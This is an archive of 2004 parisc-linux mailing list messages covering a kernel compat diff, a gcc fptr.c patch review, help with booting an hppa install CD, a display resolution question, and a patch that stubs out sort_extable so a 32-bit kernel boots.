diff -u -p -r1.7 -r1.8
--- include/linux/compat.h      28 Jan 2004 05:12:46 -0000      1.7
+++ include/linux/compat.h      3 Feb 2004 23:04:09 -0000       1.8
@@ -23,7 +23,7 @@
 
 /* Non-native task requiring compat */
 #ifndef HAVE_ARCH_IS_COMPAT_TASK
-#define is_compat_task(x) (x->personality == PER_LINUX32)
+#define is_compat_task(x) (personality(x->personality) == PER_LINUX32)
 #endif
 
 struct compat_itimerspec { 



From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] gcc/config/pa/ftpr.c fixes for new
	TRAMPOLINE_TEMPLATE in hppa's glibc.
Date: Wed, 4 Feb 2004 00:37:17 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <16416.12461.599235.278205@gargle.gargle.HOWL>
References: <20040131222832.GB19840@baldric.uwo.ca>
	<20040203055045.GC11884@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623171 5370 80.91.229.3 (22 Nov 2014 02:26:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:11 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: doko@cs.tu-berlin.de  Tue Feb  3 16:41:19 2004
Return-Path: <doko@cs.tu-berlin.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB77B4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Feb 2004 16:41:18 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de
	[130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id AAA01918;
	Wed, 4 Feb 2004 00:37:18 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id i13NbHR1028506;
	Wed, 4 Feb 2004 00:37:17 +0100 (MET)
In-Reply-To: <20040203055045.GC11884@baldric.uwo.ca>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 03 Feb 2004 23:41:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20769

Carlos O'Donell writes:
> The patch below *can* still go into gcc, and will speedup __cffc when running
> with the new glibc.
> 
> The above changes are added into the latest glibc patches at:
> http://www.parisc-linux.org/~carlos/glibc-hppa-patches-latest.tar.gz
> 
> 
> > 2004-01-31  Carlos O'Donell  <carlos@baldric.uwo.ca>
> > 
> > 	* gcc/config/pa/fptr.c (__canonicalize_funcptr_for_compare): Add
> > 	extra offset check for new glibc TRAMPOLINE_TEMPLATE.
> > 
> > Index: gcc/config/pa/fptr.c
> > ===================================================================
> > RCS file: /cvs/gcc/gcc/gcc/config/pa/fptr.c,v
> > retrieving revision 1.2
> > diff -u -p -r1.2 fptr.c
> > --- gcc/config/pa/fptr.c	9 Dec 2002 19:16:14 -0000	1.2
> > +++ gcc/config/pa/fptr.c	31 Jan 2004 22:18:27 -0000
> > @@ -35,7 +35,7 @@ Boston, MA 02111-1307, USA.  */
> >     the template should it be necessary to change the current branch
> >     position.  */
> >  #define NOFFSETS 2
                     ^^^ ?
> > -static int fixup_branch_offset[NOFFSETS] = { 32, -4 };
> > +static int fixup_branch_offset[NOFFSETS] = { 36, 32, -4 };


From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] gcc/config/pa/ftpr.c fixes for new
	TRAMPOLINE_TEMPLATE in hppa's glibc.
Date: Tue, 3 Feb 2004 19:57:08 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20040204005707.GE13520@baldric.uwo.ca>
References: <20040131222832.GB19840@baldric.uwo.ca>
	<20040203055045.GC11884@baldric.uwo.ca>
	<16416.12461.599235.278205@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623172 5371 80.91.229.3 (22 Nov 2014 02:26:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:12 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: carlos@baldric.uwo.ca  Tue Feb  3 18:01:46 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-mail.bloor.is.net.cable.rogers.com
	(fep02-mail.bloor.is.net.cable.rogers.com [66.185.86.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A5994840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Feb 2004 18:01:46 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep02-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040204005419.BYBS446807.fep02-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Tue, 3 Feb 2004 19:54:19 -0500
Content-Disposition: inline
In-Reply-To: <16416.12461.599235.278205@gargle.gargle.HOWL>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (78% Sync Ratio [========..])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep02-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Tue,
	3 Feb 2004 19:54:19 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 01:01:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20770

> > >     the template should it be necessary to change the current branch
> > >     position.  */
> > >  #define NOFFSETS 2
>                      ^^^ ?
> > > -static int fixup_branch_offset[NOFFSETS] = { 32, -4 };
> > > +static int fixup_branch_offset[NOFFSETS] = { 36, 32, -4 };

Yes, that should be a '3'.
I'll revise that.

Thanks Matthias! 

c.



From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] UNable to boot the cd.
Date: Wed, 4 Feb 2004 08:15:16 +0530
Lines: 87
Approved: news@gmane.org
Message-ID: <8BF7471D09AA9B4190A9C96778BC2A1748D237@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623172 5374 80.91.229.3 (22 Nov 2014 02:26:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Joel Soete" <soete.joel@tiscali.be>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: asifayaz@hp.com  Tue Feb  3 19:45:38 2004
Return-Path: <asifayaz@hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zmamail05.zma.compaq.com (zmamail05.zma.compaq.com
	[161.114.64.105]) by dsl2.external.hp.com (Postfix) with ESMTP
	id CE9F04840; Tue,  3 Feb 2004 19:45:37 -0700 (MST)
Original-Received: from sgpexg12.asiapacific.cpqcorp.net
	(sgpexg12.asiapacific.cpqcorp.net [16.149.1.59])
	by zmamail05.zma.compaq.com (Postfix) with ESMTP
	id 1967013701; Tue,  3 Feb 2004 21:45:34 -0500 (EST)
Original-Received: from qcaexc02.asiapacific.cpqcorp.net ([16.180.237.27]) by
	sgpexg12.asiapacific.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.0); 
	Wed, 4 Feb 2004 10:45:17 +0800
X-MIMEOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] UNable to boot the cd.
Thread-Index: AcPqdp0YHY2q5oVPQsmTpzXVGwF1zAAUMt0g
X-OriginalArrivalTime: 04 Feb 2004 02:45:17.0849 (UTC)
	FILETIME=[EC7D2890:01C3EAC8]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 02:45:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20771

Thank YOu all Gentlemenfor your over whelming response :)

I use Roxio's Easy Cd creator ( as I use to Burn (Linux- i386) Cd's )=20
Is ther any Special Procedure for burning  cd's for parisc..

* The type of the cdrom drive you used to boot (is it a hp buildin?) =
couldn't
allow you to boot. Could boot with an hpux install CD?

=3D> Yes, IT works fine with Hpux install CD !=20


* Try reading documentation about "Winxp" and whatever CD SW it comes =
with.
I would guess it has "Easy CD Creator". Look for "raw mode" or something
like that in the documentation or help files.

IIRC, instructions on how to burn parisc CD's with CD Creator have
been posted to parisc-linux (or debian-hppa) before.

=3D> Can u pls provide me the url for this..=20

Right now i'm Re- Downloading the Image=20
debian-30r2-hppa-binary-1 ( Easy CD creator Image File)=20
debian-30r2-hppa-binary-1_NONUS ( Easy CD creator Image File)
Letme see how it goes..=20

Thanks YOU all One again :_)

Asif



-----Original Message-----
From: Joel Soete [mailto:soete.joel@tiscali.be]
Sent: Tuesday, February 03, 2004 10:25 PM
To: AYAZ, MOHAMMED ASIF; Grant Grundler
Cc: parisc-linux@parisc-linux.org
Subject: RE: [parisc-linux] UNable to boot the cd.


Hi Asif,

>To start with.=20
>o I Had downloaded the iso image from  =
ftp.de.debian.org/debian-cd/3.0_r0/hppa
>
Ok (I used successfully the same from same site recently :) )

>o Used a Winxp to write a CD!!=20

I know well it as an OS is it also the name of your burning tool?
If not could you give its name and release (iirc some tools wasn't able =
to
do before a given release)

>o I did Search ipl from teh main menu itdid'nt  show the cdrom as an =
ipl
device.

severall pb are possible:=20
* the most common one is that the cd was not burn with correct options =
(see
your cd burning tool user guide)
* your image file could be corrupted (iirc there was also a md5sums file
which allow you to check the integrity of this image)=20
* the type of the cdrom drive you used to boot (is it a hp buildin?) =
couldn't
allow you to boot. Could boot with an hpux install CD?

>o I tried booting hte CD rom as well but to no luck..=20
>o IT's on a A500 (9000/800/A500-44)=20
>
>I wonder wat's wrong with my cd !!=20

hth,
    Joel

-------------------------------------------------------------------------=

Tiscali ADSL: 12 mois =E0 29,50 EUR/mois! L'Internet rapide, c'est pour =
tout
le monde.
http://reg.tiscali.be/default.asp?lg=3Dfr




From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] UNable to boot the cd.
Date: Tue, 3 Feb 2004 22:08:29 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20040204050829.GB15920@colo.lackof.org>
References: <8BF7471D09AA9B4190A9C96778BC2A1748D237@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623172 5378 80.91.229.3 (22 Nov 2014 02:26:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>
Original-X-From: grundler@lackof.org  Tue Feb  3 22:08:31 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87D6B48CA
	for <parisc-linux@parisc-linux.org>;
	Tue,  3 Feb 2004 22:08:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8AA89298050; Tue,  3 Feb 2004 22:08:30 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 15558-09; Tue, 3 Feb 2004 22:08:30 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0133629804A; Tue,  3 Feb 2004 22:08:29 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <8BF7471D09AA9B4190A9C96778BC2A1748D237@qcaexc02.asiapacific.cpqcorp.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 05:08:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20772

On Wed, Feb 04, 2004 at 08:15:16AM +0530, AYAZ, MOHAMMED ASIF wrote:
> IIRC, instructions on how to burn parisc CD's with CD Creator have
> been posted to parisc-linux (or debian-hppa) before.
> 
> => Can u pls provide me the url for this.. 

	http://lists.parisc-linux.org/

and then enter "Easy CD creator" in the text box.

grant


From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP1825 and PCI Vis-EG at 1600x1200
Date: Tue, 3 Feb 2004 22:19:28 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20040204051928.GA16054@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623173 5384 80.91.229.3 (22 Nov 2014 02:26:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Tue Feb  3 22:19:30 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6447148CA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Feb 2004 22:19:30 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 65AB9298050
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Feb 2004 22:19:29 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16077-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 Feb 2004 22:19:28 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C9C0B29804A; Tue,  3 Feb 2004 22:19:28 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 05:19:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20773

I just recently got an HP 1825 Flat panel display.
The documentation says the panel supports 1600x1200 resolution
via analog (not DVI) input at 75Khz Hsync, 60Hz refresh (Vsync).

Anyone already know if PCI Vis-EG card can output that?
If so how? Maybe some sort of custom "mode line" in PDC?
I'm looking for concrete steps, not speculation.

I'll hunt a bit more on the internet since I'm pretty sure
I've seen some of the HP parisc workstations allow for
a "custom" video output but don't know if Vis-EG allows
that or where the steps to do it are described.

thanks,
grant


From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] UNable to boot the cd.
Date: Wed, 4 Feb 2004 10:57:29 +0530
Lines: 29
Approved: news@gmane.org
Message-ID: <8BF7471D09AA9B4190A9C96778BC2A1748D23A@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623173 5387 80.91.229.3 (22 Nov 2014 02:26:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: asifayaz@hp.com  Tue Feb  3 22:28:02 2004
Return-Path: <asifayaz@hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zmamail04.zma.compaq.com (zmamail04.zma.compaq.com
	[161.114.64.104]) by dsl2.external.hp.com (Postfix) with ESMTP
	id BDB8C48CA; Tue,  3 Feb 2004 22:28:02 -0700 (MST)
Original-Received: from sgpexg11.asiapacific.cpqcorp.net
	(sgpexg11.asiapacific.cpqcorp.net [16.149.1.7])
	by zmamail04.zma.compaq.com (Postfix) with ESMTP
	id EF2F912F0B; Wed,  4 Feb 2004 00:28:00 -0500 (EST)
Original-Received: from qcaexc02.asiapacific.cpqcorp.net ([16.180.237.27]) by
	sgpexg11.asiapacific.cpqcorp.net with Microsoft
	SMTPSVC(5.0.2195.6673); Wed, 4 Feb 2004 13:27:31 +0800
X-MIMEOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] UNable to boot the cd.
Thread-Index: AcPq3UteEg6PBURrQYOy/qQ2ev+JRAAAiYWw
X-OriginalArrivalTime: 04 Feb 2004 05:27:31.0118 (UTC)
	FILETIME=[95F824E0:01C3EADF]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 05:28:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20774

Thanks Grant,=20
All wat i did was clik on the image and found that thae filw system in =
the Cd is CDFS ..=20
Wat should be the file syslem of the CD ! I guess ISO rite=20

Thanks=20



-----Original Message-----
From: Grant Grundler [mailto:grundler@parisc-linux.org]
Sent: Wednesday, February 04, 2004 10:38 AM
To: AYAZ, MOHAMMED ASIF
Cc: parisc-linux@parisc-linux.org
Subject: Re: [parisc-linux] UNable to boot the cd.


On Wed, Feb 04, 2004 at 08:15:16AM +0530, AYAZ, MOHAMMED ASIF wrote:
> IIRC, instructions on how to burn parisc CD's with CD Creator have
> been posted to parisc-linux (or debian-hppa) before.
>=20
> =3D> Can u pls provide me the url for this..=20

	http://lists.parisc-linux.org/

and then enter "Easy CD creator" in the text box.

grant


From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] memory mapping and sort_extable?
Date: Wed, 4 Feb 2004 01:43:59 -0800
Lines: 71
Approved: news@gmane.org
Message-ID: <20040204094358.GL959@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623173 5388 80.91.229.3 (22 Nov 2014 02:26:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: randolph@tausq.org  Wed Feb  4 00:22:26 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF20D4840
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Feb 2004 00:22:26 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 15A73CD29F; Wed,  4 Feb 2004 01:43:59 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 07:22:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20775

pa, 

2.6.2-rc2 doesn't boot on my c3k when running 32-bit kernel and if
CONFIG_STI_CONSOLE is not enabled. The problem seems to be that for some
reason [*] when CONFIG_STI_CONSOLE is not defined, we map all kernel
memory as r/o, so when sort_extable (in lib/extable.c) tries to
rearrange our exception tables it writes to the kernel pages and faults.

interestingly, when building a 64-bit kernel with similar config options
i don't see a fault... maybe there is something else happening there.

 From a cursory inspection, it appears that we never use to sort our
exception tables; dumping the extable from a vmlinux binary shows that
the entries are properly sorted at link time... but i haven't tried 
this on modules to see if they are also sorted. Not sure how the 
sorting is happening...  does ld do it?

Anyway, the following patch trivially removes sort_extable for parisc
and lets the kernel boot. Not yet sure if it's correct. Does anyone
know?

[*] Why do we map kernel pages as read-only? is it just to be "extra
safe"?

randolph

Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.12
diff -u -p -r1.12 uaccess.h
--- include/asm-parisc/uaccess.h	28 Jan 2004 05:27:46 -0000	1.12
+++ include/asm-parisc/uaccess.h	4 Feb 2004 07:16:54 -0000
@@ -66,6 +66,8 @@ struct exception_table_entry {
 	long skip;           /* pcoq skip | r9 clear flag | r8 -EFAULT flag */
 };
 
+#define ARCH_HAS_SORT_EXTABLE
+
 #define __get_user(x,ptr)                               \
 ({                                                      \
 	register long __gu_err __asm__ ("r8") = 0;      \
--- arch/parisc/mm/extable.c	2003-09-24 03:11:46.000000000 -0700
+++ arch/parisc/mm/extable.c	2004-02-03 22:58:41.000000000 -0800
@@ -0,0 +1,7 @@
+#include <asm/uaccess.h>
+
+void sort_extable(struct exception_table_entry *start,
+		  struct exception_table_entry *finish)
+{
+}
+
Index: arch/parisc/mm/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/Makefile,v
retrieving revision 1.2
diff -u -p -r1.2 Makefile
--- arch/parisc/mm/Makefile	27 Jan 2004 18:44:34 -0000	1.2
+++ arch/parisc/mm/Makefile	4 Feb 2004 07:17:20 -0000
@@ -2,4 +2,4 @@
 # Makefile for arch/parisc/mm
 #
 
-obj-y	 := init.o fault.o ioremap.o
+obj-y	 := init.o fault.o ioremap.o extable.o

-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] UNable to boot the cd.
Date: Wed, 4 Feb 2004 09:48:55 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <400CB8A10000C4AF@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623173 5389 80.91.229.3 (22 Nov 2014 02:26:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>,
	"Grant Grundler" <grundler@parisc-linux.org>
